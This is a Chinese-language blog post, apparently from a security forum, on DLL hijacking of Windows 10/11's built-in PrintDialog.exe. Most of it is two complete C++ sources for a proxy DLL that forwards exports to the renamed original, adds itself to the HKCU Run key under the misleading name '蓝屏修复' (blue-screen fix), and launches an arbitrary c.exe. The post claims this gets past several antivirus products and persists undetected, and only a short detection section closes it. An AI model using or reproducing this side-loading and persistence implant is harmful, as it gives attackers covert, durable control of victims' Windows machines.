Windows10/11 内置组件 dll劫持
- 0.1序言:
本文公开了一个windows内置组件打印机的dll易劫持,我会从两个角度去讲如何复现这个漏洞,分别是工具扫:灰梭子,手工打点:IDA使用,不要乱搞,不要搞违法犯罪的事,我不会用太过啰嗦的语言阐述,本文将以简短的干货为核心。 - 0.2环境配置 win10/win11(文末提供x86程序下载,对于win7效果并不如win10可观,故不做具体说明)
目标位置:C:\Windows\PrintDialog\PrintDialog.exe -
0.3经测试,该程序由于是windows系统程序,其黑白文件都可实现久存不杀,所以其危害度可见一斑。
-
一:灰梭子/(ZeroEye2.0本文不展现)
·将dll导入灰梭:
·劫持该dll,导出到当前目录
·然后新建一个vs项目,选C++,把这玩意都导入进去
代码如下:
#include <windows.h>
#pragma comment(linker, "/EXPORT:DllCanUnloadNow=LGF_DllCanUnloadNow,@1")
#pragma comment(linker, "/EXPORT:DllGetActivationFactory=LGF_DllGetActivationFactory,@2")
extern "C" {
PVOID pLGF_DllCanUnloadNow;
PVOID pLGF_DllGetActivationFactory;
//----------------------------------------------------------
void LGF_DllCanUnloadNow(void);
void LGF_DllGetActivationFactory(void);
};
static HMODULE g_OldModule = NULL;
// 加载原始模块
__inline BOOL WINAPI Load()
{
g_OldModule = LoadLibraryA("post.dll"); //读取当前路径下的源dll(名字随意,但要路径要对)
if (g_OldModule == NULL)
{
MessageBoxA(NULL, "模块错误", "零攻防", MB_ICONSTOP);
}
return (g_OldModule != NULL);
}
// 释放原始模块
__inline VOID WINAPI Free()
{
if (g_OldModule)
{
FreeLibrary(g_OldModule);
}
}
// 获取原始函数地址
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
fpAddress = GetProcAddress(g_OldModule, pszProcName);
if (fpAddress == NULL)
{
MessageBoxA(NULL, "函数错误", "零攻防", MB_ICONSTOP);
}
return fpAddress;
}
// 初始化获取原函数地址
BOOL WINAPI Init()
{
if (NULL == (pLGF_DllCanUnloadNow = GetAddress("DllCanUnloadNow")))
return FALSE;
if (NULL == (pLGF_DllGetActivationFactory = GetAddress("DllGetActivationFactory")))
return FALSE;
return TRUE;
}
#include <windows.h>
#include <cstdio> // 添加此头文件以使用 snprintf
#include <Shlwapi.h> // 添加此头文件以使用 PathRemoveFileSpecA
#pragma comment(lib, "Shlwapi.lib") // 链接 Shlwapi 库
// 声明外部定义的函数
BOOL Load();
BOOL Init();
void Free();
// 在同一目录下启动指定程序的函数
void LaunchProgramInSameDirectory()
{
CHAR modulePath[MAX_PATH];
CHAR programPath[MAX_PATH];
GetModuleFileNameA(NULL, modulePath, MAX_PATH);
// 获取当前模块目录路径,移除模块名
PathRemoveFileSpecA(modulePath);
// 指定要启动的程序名(例如 "c.exe")
_snprintf_s(programPath, MAX_PATH, "%s\\c.exe", modulePath);
// 设置进程启动信息
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
// 创建进程
if (!CreateProcessA(programPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
{
// 如果创建失败,处理错误
DWORD error = GetLastError();
// 可选:记录或显示错误信息
}
else
{
// 关闭新进程及其主线程的句柄
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
// 添加 DLL 自身到启动项的函数
void AddDllToStartup()
{
HKEY hKey = NULL;
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
if (result == ERROR_SUCCESS)
{
CHAR modulePath[MAX_PATH];
GetModuleFileNameA(NULL, modulePath, MAX_PATH);
// 获取当前模块文件名
CHAR* fileName = PathFindFileNameA(modulePath);
// 拼接完整的启动项值
CHAR startupValue[MAX_PATH];
_snprintf_s(startupValue, MAX_PATH, "%s", modulePath);
// 写入注册表
RegSetValueExA(hKey, "蓝屏修复", 0, REG_SZ, (const BYTE*)startupValue, strlen(startupValue) + 1);
RegCloseKey(hKey);
}
}
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if (Load() && Init())
{
MessageBoxA(NULL, "ceshi", "零攻防", MB_ICONSTOP);/*
自增代码
*/
AddDllToStartup(); // 将 DLL 自身添加到启动项
LaunchProgramInSameDirectory(); // 启动指定程序
return TRUE;
}
else
{
return FALSE;
}
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
·然后编译,导出dll,把原dll改名post.dll,把黑dll改名PrintDialog.dll,准备好需要打开的c.exe,双击执行,结束。
- 二:手工分析:(本文重点)
· 先将程序脱离dll执行看看:
报错了,说明该程序必须依赖PrintDialog.dll执行,那么我们对其劫持
· 将dll导入IDA
发现有一堆函数,我们添加dll关键词进行筛选,得到如下结果
发现两个很有意思的函数:
-DllCanUnloadNow:DllCanUnloadNow函数的主要作用是确定一个DLL是否可以被卸载。
当你在使用COM(Component Object Model)技术时,可能会动态加载一些DLL(动态链接库)。这些DLL在完成其任务后,需要被安全地从内存中卸载,以避免资源泄露。DllCanUnloadNow函数就是用来检查当前是否还有对象在使用这个DLL,如果没有,则可以将DLL从内存中卸载。
-DllEntryPoint:DllEntryPoint函数是动态链接库(DLL)中的一个入口点函数,用于在DLL被加载或卸载时执行特定的初始化或清理操作。如果DLL定义了入口点函数,每当进程加载或卸载DLL时,系统会调用这个函数,从而执行一些简单的初始化和清理任务
``
我们不妨对其劫持:
```cpp
extern "C" { // 指示编译器按照C语言的方式来处理下面的代码,防止名称在编译过程中被修改
// 声明两个指向函数的指针,类型为PVOID
// PVOID是指向任意类型的指针,它通常用于不确定指针类型的情况
PVOID pLGF_DllCanUnloadNow; // 指向LGF_DllCanUnloadNow函数的指针
PVOID pLGF_DllGetActivationFactory; // 指向LGF_DllGetActivationFactory函数的指针
// 函数声明,实际上在其他地方会有对应的函数定义
void LGF_DllCanUnloadNow(void); // 声明LGF_DllCanUnloadNow函数,表示该DLL是否可以卸载
void LGF_DllGetActivationFactory(void); // 声明LGF_DllGetActivationFactory函数,获取一个激活工厂};
然后利用这个函数,构造payload(我选择直接套用模板):
#include <windows.h> // 包含Windows API的头文件
// 指定链接器选项,导出DLL中的函数名称
#pragma comment(linker, "/EXPORT:DllCanUnloadNow=LGF_DllCanUnloadNow,@1")
#pragma comment(linker, "/EXPORT:DllGetActivationFactory=LGF_DllGetActivationFactory,@2")
// 使用extern "C"来防止C++编译器对名称进行修改,以便于C语言链接
extern "C" {
PVOID pLGF_DllCanUnloadNow; // 指向LGF_DllCanUnloadNow函数的指针
PVOID pLGF_DllGetActivationFactory; // 指向LGF_DllGetActivationFactory函数的指针
void LGF_DllCanUnloadNow(void); // 声明LGF_DllCanUnloadNow函数
void LGF_DllGetActivationFactory(void); // 声明LGF_DllGetActivationFactory函数
};
// 声明一个全局静态变量,用于存储原始模块句柄
static HMODULE g_OldModule = NULL;
// 加载原始模块
__inline BOOL WINAPI Load()
{
g_OldModule = LoadLibraryA("post.dll"); // 加载名为post.dll的动态链接库
if (g_OldModule == NULL) // 检查加载是否成功
{
MessageBoxA(NULL, "eRROR", "Error", MB_ICONSTOP); // 弹出错误信息
}
return (g_OldModule != NULL); // 返回加载结果
}
// 释放原始模块
__inline VOID WINAPI Free()
{
if (g_OldModule) // 如果原始模块已加载
{
FreeLibrary(g_OldModule); // 释放模块
}
}
// 获取原始函数地址
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress; // 定义一个指针,用于存储函数地址
fpAddress = GetProcAddress(g_OldModule, pszProcName); // 获取指定函数的地址
if (fpAddress == NULL) // 检查获取是否成功
{
MessageBoxA(NULL, "Error", "Error", MB_ICONSTOP); // 弹出错误信息
}
return fpAddress; // 返回函数地址
}
// 初始化获取原函数地址
BOOL WINAPI Init()
{
// 获取两个函数的地址并存储到对应的指针中
if (NULL == (pLGF_DllCanUnloadNow = GetAddress("DllCanUnloadNow")))
return FALSE; // 如果获取失败,返回FALSE
if (NULL == (pLGF_DllGetActivationFactory = GetAddress("DllGetActivationFactory")))
return FALSE; // 如果获取失败,返回FALSE
return TRUE; // 成功返回TRUE
}
#include <windows.h> // 再次包含Windows API头文件
#include <cstdio> // 添加此头文件以使用snprintf
#include <Shlwapi.h> // 添加此头文件以使用PathRemoveFileSpecA
#pragma comment(lib, "Shlwapi.lib") // 链接Shlwapi库
// 声明外部定义的函数
BOOL Load(); // 声明Load函数
BOOL Init(); // 声明Init函数
void Free(); // 声明Free函数
// 在同一目录下启动指定程序的函数
void LaunchProgramInSameDirectory()
{
CHAR modulePath[MAX_PATH]; // 存储当前模块路径的字符串
CHAR programPath[MAX_PATH]; // 存储要启动的程序路径的字符串
GetModuleFileNameA(NULL, modulePath, MAX_PATH); // 获取当前模块的完整路径
// 获取当前模块目录路径,移除模块名
PathRemoveFileSpecA(modulePath);
// 指定要启动的程序名(例如 "c.exe")
_snprintf_s(programPath, MAX_PATH, "%s\\c.exe", modulePath); // 拼接完整的程序路径
// 设置进程启动信息
STARTUPINFOA si = { sizeof(si) }; // 初始化STARTUPINFOA结构体
PROCESS_INFORMATION pi; // 存储进程信息的结构体
// 创建进程
if (!CreateProcessA(programPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
{
// 如果创建失败,处理错误
DWORD error = GetLastError(); // 获取最后一个错误代码
// 可选:记录或显示错误信息
}
else
{
// 关闭新进程及其主线程的句柄
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
// 添加DLL自身到启动项的函数
void AddDllToStartup()
{
HKEY hKey = NULL; // 注册表项句柄
// 创建或打开注册表键
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
if (result == ERROR_SUCCESS) // 如果成功
{
CHAR modulePath[MAX_PATH]; // 存储当前模块路径的字符串
GetModuleFileNameA(NULL, modulePath, MAX_PATH); // 获取当前模块的完整路径
// 获取当前模块文件名
CHAR* fileName = PathFindFileNameA(modulePath);
// 拼接完整的启动项值
CHAR startupValue[MAX_PATH];
_snprintf_s(startupValue, MAX_PATH, "%s", modulePath); // 拼接模块路径
// 写入注册表
RegSetValueExA(hKey, "蓝屏修复", 0, REG_SZ, (const BYTE*)startupValue, strlen(startupValue) + 1); // 写入启动项
RegCloseKey(hKey); // 关闭注册表句柄
}
}
// DLL主入口点
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH) // 如果是进程附加
{
DisableThreadLibraryCalls(hModule); // 禁用线程库调用,以提高性能
if (Load() && Init()) // 尝试加载模块和初始化
{
AddDllToStartup(); // 将DLL自身添加到启动项
LaunchProgramInSameDirectory(); // 启动指定程序
return TRUE; // 返回TRUE表示成功
}
else
{
return FALSE; // 加载或初始化失败,返回FALSE
}
}
else if (dwReason == DLL_PROCESS_DETACH) // 如果是进程分离
{
Free(); // 释放资源
}
return TRUE; // 默认返回TRUE
}
- 三,运行效果:
在同时开启360和晶防御,火绒全防御,管家全保护的情况下成功对c.exe添加了自启动
- 四,反制:
检查注册表是否有ico为
这种样式的,如果有,进入该目录,
将名为:PrintDialog.dll的文件导入IDA,F5检查
再对
进行检查:
然后将分析出来的程序拖入VM,打开火绒剑开始抓心跳
0 条评论
可输入 255 字